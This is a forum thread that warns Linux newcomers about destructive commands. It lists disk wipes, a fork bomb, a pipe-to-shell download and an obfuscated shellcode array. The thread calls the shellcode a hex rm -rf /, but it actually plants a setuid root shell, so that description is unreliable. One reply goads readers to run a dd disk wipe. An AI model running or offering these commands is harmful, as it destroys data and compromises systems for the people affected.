the 7 deadly linux commands

[lojikal]

ok i am not sure if this was posted previously as a topic for discussion so forgive me if i have made an error. thought this may be useful to the linux newbies who may just be a victim of any form of malicious attack in the form of a practical joke or otherwise

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.


read more here:http://www.junauza.com/2008/11/7-dea...-commands.html

[lovepython]

yow i tell u the terminal is a dangerous thing if not aware of wat u doing?

[Technocrat]

Word, I especially like the last one (7). lol

[igodit]

How often have either one of you used one of those commands, intentionally or mistakenly?

[ramesh]

Each one of those should sound a warning bell if you have some idea of the command line.

[Gnostic]

Somebady try this one and see if it works..I'm not sure does.lol
sudo dd if=/dev/zero of=/dev/hda

[megiddo]

I haven't done any of those, but once I was compressing some files and forgot the . wasn't pretty.

So instead of compressing ./etc i ended up compressing /etc

Was quickly recovered with a live cd after un-tarring the files

[carey]

Somebady try this one and see if it works..I'm not sure does.lol
sudo dd if=/dev/zero of=/dev/hda

It doesn't do anything when I try it? what's hda? what's sda? think i should change hda to sda?

[ramesh]

If the drive is mounted I doubt that command would work.

[ginegog]

sudo dd if=/dev/zero of=/dev/hda
will work even if the drive is mounted.